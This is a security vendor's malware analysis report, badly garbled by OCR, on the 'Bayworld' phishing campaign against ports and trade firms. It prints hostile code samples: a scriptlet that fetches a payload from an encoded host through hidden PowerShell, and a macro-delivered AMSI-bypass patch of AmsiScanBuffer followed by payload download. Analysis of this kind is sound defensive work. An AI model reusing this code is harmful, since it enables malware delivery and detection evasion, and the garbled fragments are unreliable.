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Since October 2019, 360 Security Center has successively intercepted multiple cyber attacks
against foreign trade, transportation, and several important maritime ports. Through a joint
analysis of these attack incidents, we find that the hacker team that launched the attack is
highly professional and has a powerful arsenal. The targets of the attack are of extremely
high value, so we don’t think this is purely personal behavior, But a professional hacker team
or APT organization.

When analyzing the organization’s CVE-2017-11882 exploit document, we found that the
way to bypass the shellcode length limitation is similar to that used by the APT organization
TA505, but the delivered payload is in favor of publicly sold malware such as NanoCore ,
Formbook, etc., did not find any Tema ever used by TA505. So we are not sure if this attack
was initiated by TA505.
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However, in order to facilitate the continuous follow-up of the organization, we named the
attack “Bayworld”, and we will continue to track and study more attacks related to the
organization.

Attack target

We analyzed the machines that infected a series of Trojan horses and found that the main
attack targets of BayWorld activities were concentrated in large enterprises with import and
export business, covering medical, chemical, construction, and various new manufacturing
industries. Major regional transport companies, as well as a number of important maritime
ports launched attacks.

The attack area is mainly distributed in China, Egypt, Ukraine and other countries. The main
attack targets are the Suez Canal, Algiers Port, Youzny Sea Port and other important
commercial ports. The regional distribution is shown in the following figure:

e

Decoy document

We analyzed the phishing emails related to Bayworld activities from August 2019. The
malicious document attachments carried in the emails are mainly divided into the following
three categories:

1. Contains macro viruses
2. Contains CVE-2017-8570 vulnerability
3. Contains CVE-2017-11882 vulnerability
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The contents of the phishing emails are relatively simple. After the embarrassment, the
victims will be reminded to open the attached file:

Dear Sir, X FEENSAE,

URGENT REMINDER!! EDEE ||

Hope you received my email below, Please we need your quote ASAP. FEET FEWERENETHME, B REREEN.
From: Sales03 <Sales@bringersrep.com AN Sales03 <Sales@bringersrep.com <mailto:
<mailto:Sales@bringersrep.com> > Sales@bringersrep.com>>

Sent: Monday, May 13,2019 11:00 AM A% 2019558 13HEE—11:00 AM

To: <%0%> E: <%0%>

Subject: RE: INQUIRY# 7110935 F3h: RE: INQUIRY #7110935

Attachments are usually disguised as purchase orders, payment vouchers, account
statements, etc.
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CVE-2017-11882

Unlike most previous CVE-2017-11882 exploits, Bayworld uses malicious code in xIsx files.
When overflowing, it uses a 30-byte shellcode to dynamically obtain the memory pointer of
the MTEFData structure and locate the remaining shellcode. In order to bypass the limit on
the length of shellcode when exploiting.
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» download payload

This method is not the first time to appear. We found that a similar use method was
mentioned in the analysis report of the TA505 hacker organization by friends and merchants,
but based on one point, we are not sure that the Bayworld was initiated by the TAS05 hacker

organization.

CVE-2017-8570

The CVE-2017-8570 exploit document contains two key ole objects. The first is a Package
type malicious scriptletfile (SCT) script. After the malicious document is opened, the Package
object is automatically released to the% temp% directory.
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The second is an OLEZ2Link object, which is used to trigger the SCT script released to a

random directory

ogooaono

T w» Juuuuduuul Ul uu Ul U Une Uil uue Ul U Ul Ul vl vl Ul e gl e
ee 00000010 00 00 00 00 00 00 00 00 CO 00 00 00 09 03 00 00 ... .. ... Ao
=h 0000020 00 00 00 00 CO 00 OO0 00 00 00 00 46 02 00 00 OO0 A F.s..

WETTY 0000030 03 03 00 00 00 00 00 00 CO 00 00 00 00 00 00 46 A E
inklnfa 0000040 00 00 1A 00 00 00 25 54 4D 50 25 SC 61 62 63 74 | ... .. %TMPabct
Objinfo 0000050 66 68 67 A8 67 68 67 68 A7 68 67 2E 53 43 54 00 |fhghghghghg.SCT.
0000060 OE 00 AD DE 00 00 00 00 00 00 00 00 00 00 00 00 Sr=pr———————
0000070 00 00 00 00 OO0 00 OO 00 38 00 00 00 32 00 00 00 ..... ... B...2. ..
0000080 OF 00 05 00 54 00 4D 00 70 00 25 00 5C 00 61 00 ... T M.p.%.~ a.
0000090 62 00 63 00 74 00 66 D0 &8 00 &7 OO0 58 00 67 00 b.c.t . f h.g.X. g.
00000A0 68 00 67 00 68 00 &7 D0 &8 00 &7 OO0 2E 00 73 00 h.g.h.g.h.g... s=.
00DDOEO 63 00 74 00 CE AF AB EC 19 7F D2 11 57 BE 00 00 o t B i 18 .
00000CO F2 75 7E 24 00 00 00 00 00 O0 00 OO 00 00 00 00 eu™%. . .. ..... . .
00000D0 00 00 00 00 O0 00 OO0 00 00 00 00 00 FF FF FF FF ... ... ... Y
O00OOED 06 09 02 00 00 00 00 00 CO 00 00 00 00 00 00 46 ... . A .. ...
00000FD 00 00 00 00 FF FF FF FF 00 00 00 00 00 00 00 00 ass S
0000100 00 00 00 00 00 00 00 00 00 00 00 00 00 OO 00 00 ...... . ... ... . ..
0000110
The SCT script is used to download subsequent payloads.

zzfﬁsgz;iz;nz;_’g;x!——Ir publishing and graphic design, lorem ipsum is a placcholder text uncommon-—»
aaaaazdstBfmScriptExecute (instant) QTRCxYIJTYzCPwwaxxtsNMrhHOf11 = "-9482+9551+%3026-2906*6579-6478*5111-5012*1036386/8858*3472-3356*501970/4970%*9975-9935%*489405/4661*471900/4290*7452

<scriptlet

Ei:iﬁii;sﬂ:ﬂgzim graph:m das::.g'n, lorem ::Lpsum ;a a placeholder text commenly . o

T me i oER e o e SOER e Y oS CHROE L © o482 35911050, BO0E 378G TE. PLA1 S0Ze RS ETE/ 9050+ TR LI T LI TASE o A570sS37 - obI5 85405/ 4661+ 4TL500/ 42504745360/ 65541055t

(sdfdsgs = '.'aHRDUD\?szf4LjEyOC4xMTQuMTExL3RhCZtthdyLmV4ZQ::" "037834

)E{:i);:;:jz:?:j:kdsa:jky ="dGFza3Ntz3IuzXhl 037834

Function ase64Decode (ByVal sBasec64EncodedText, ByVal fIsUtf16LE)

[+1 .

ﬁ?ctiun x.aytesu'ust:myvﬂ byteArray, ByVal sTextEncoding)

T:-L] unction

aa = "sebody”

T h;/:isjid i ssdss + vbCrLf + ".open" + vbCrLf + ".write ocbjh"'037834

[+]

varf = "Pow" + "erS" + "hell -NoP -sta -NonI —W Hidden -ExecutionPolicy bypass -NoLogo —command "" (New—Object System.Net.WebClient).DownloadFile('" + ase64Decode (ESdfdsfs, False)

Set objShell = CreateObject ("WScript.Shell")
cbjshell.run varf, 0

end with '037834
Execute ("set f££f£ff£fgggggg = no" + "thing") '037834
end if '037834
Function Base€4Encode (ByVal sText, ByVal fAsUtfl€LE)
[+1
End Function

[+]

dim monkey
monkey = monkey +bicodo
function jing()

j LT+ "R o+ "ite strya")

objFile.
end function
[+1
Set writsr=CreateObjesct ("Scripting.FileSystemCbjsct™)

outFile="C:\programData\hriytrj.cmd"

stryn = ushv + "data®\" + ass€4Dscode (yulkytjtrhtjrkdsarjky, False)

jing )
L</scripe>
L</scriptiet>

Malicious macro

In addition to exploiting vulnerabilities, a large number of macro viruses have also been used
in Bayworld activities. The macro code has been obfuscated. After multiple decryptions, it will

call powershell to execute the following script:
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Flfunction 1le7£3 {param(5=d53b)

$b27dbl5="g5967b" ;

$vdl2l="";

for (3i=0; 51 -1t 5s5d93b.length;5i+=2)
= {

Stefbd4d4d=[convert] : :ToByte (53d593b.Substring(51,2),15) ;
Svdl2l+=[char] (5tefbd44d -bxor 5b27db1S[(51/2)%5b27d4db15.1length]) ;
- 1

return 5vdl2l;

-}

=

(3]
n
W0
wn
o

5c5a88 = "044650585042224c4a42520£4a404a
5c5aB882 = 1=e7£3(5c5a88) ;
| rdd-Type -TypeDefinition $c5a882; |
[v13c4ce] ::adlkdS () ;

Add C # code to the current session via Add-Type and execute:

IntPtr xaacc = beflbc9(leT7£3("10504a5£19061459%")); J/amsi.dll
if (xaacc==IntPtr.Zero)

{
goto =zdbZ3;
}
IntPtr bbdeac=zad7dl (xaacc,leTf3("320504a5f6401105T0L4351041447"y); //BmsiScanBuffer
if (bbdeac==IntPtr.Zero)

{
goto =zdbZ3;

}

UIntPtr ufatbec=(UIntPtr) S;

uint ocldeS5=0;

if('z6416 (bbdeac,ufatbc, 0x40,0ut ocldel))

{
goto =zdb23;

}

Byte[] dSaecef={0=x21,0=xff, ix50};

IntPtr vid77=Marshal.RhllocHGlobal () ;
Marshal.Copy(dSascef, 0, v3d77,2) ;

f4487 (new IntPtr (bbdeac.ToInt&d ()+0x001b) ,v3d77,2);

Then bypass AMSI detection through Patch AmsiScanBuffer, and finally download and
execute the payload.

PaylLoad

During our analysis of the activities of BayWorld, we found that there are many types of
payloads delivered by them, covering the following types of mainstream remote control and
spyware.
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Formbook

coded in low

In addition, | also detected a small amount of malware from families such as Ave_Maria and
NjRat. These malware have powerful functions, and hackers can control the victim’s machine
and perform any desired operation through this software.

Covert means

In addition to using IP addresses in some URLs, most of them use dynamic domain names
to hide real server addresses:

9/12



duckdns.org

Duck DNS

RIS 5 roci | - L=
—

Sign in with Persona

Duck DNS

free dynamic DNS
hosted on AWS

support us: become a Patreon
new: moved forum to Google Groups

Daonate m AEgHRINT|pF 5ZavMIBOYEF xUkNchdic s :] @ poi'rzon q

dotbit.me

e

B Dossins Your ACCOuNT Trane Dosaiss Foruw Surr B COMTACT

The most reliable .bit registrar, online since December 2012 and hosting over 6000 domains

Bit domains are managed oy the peer-to-pear Namecoln networ k with no central authority. The system Is
still ar an early stage of development bur grows rap dly. -'\--jlf.l-" it domains via the or

USE Our Service,

Pay 0.0005 Bitcoin, 5 Mamecain or the equivalent In any crypro-currency per domain & year
Mo cryplo-coins? Mo worries, you can pay with credit card as well (55 /domain & year)

Our service works perfectly together with ZeroMet and similar apps

we pay all your nenwork costs like registration and update fees

Transfer vour .bit domains 1o us and :_|.I the firsy Year free

Transfer domains & coins in or out at any time for free

Wwe automatically keep your domains from expinng

You do not need to run any Namecoin software

Mo signup neaded (using Google OpenlD)

Three simple steps:

timeweb.com

timeweb>

10/12


https://static.ts.360.com/blog/wp-content/uploads/2020/01/17.11.png

MEPEHOC CAUTA 3A 1 YAC

MepeHecem BaLL CAAT ¢ APYTOrD XocTrHra 3a 1 vac. MNopapum 3 mecAua

XOCTUHMRE MnK NepeHecem GanaHc CTaporo Xoctepa.

rapiddns.ru

rapiddns.ru Home  Logi

Simple Dynamic DNS

Easily map your dynamic IP address 1o a short subdomain in seconds
Great for hosting content on your local internet connection with a
dynamic address.

Summary

Bayworld is a well-targeted and highly professional cyber attack campaign. The hacking
gang behind it has a powerful arsenal and diverse attack methods. It uses a large number of
obfuscated codes and dynamic domain names in the entire attack process. At the same
time, its own characteristics are well hidden.

360 Total Security can intercept such cyber attacks in multiple dimensions. Users could
install and use it:
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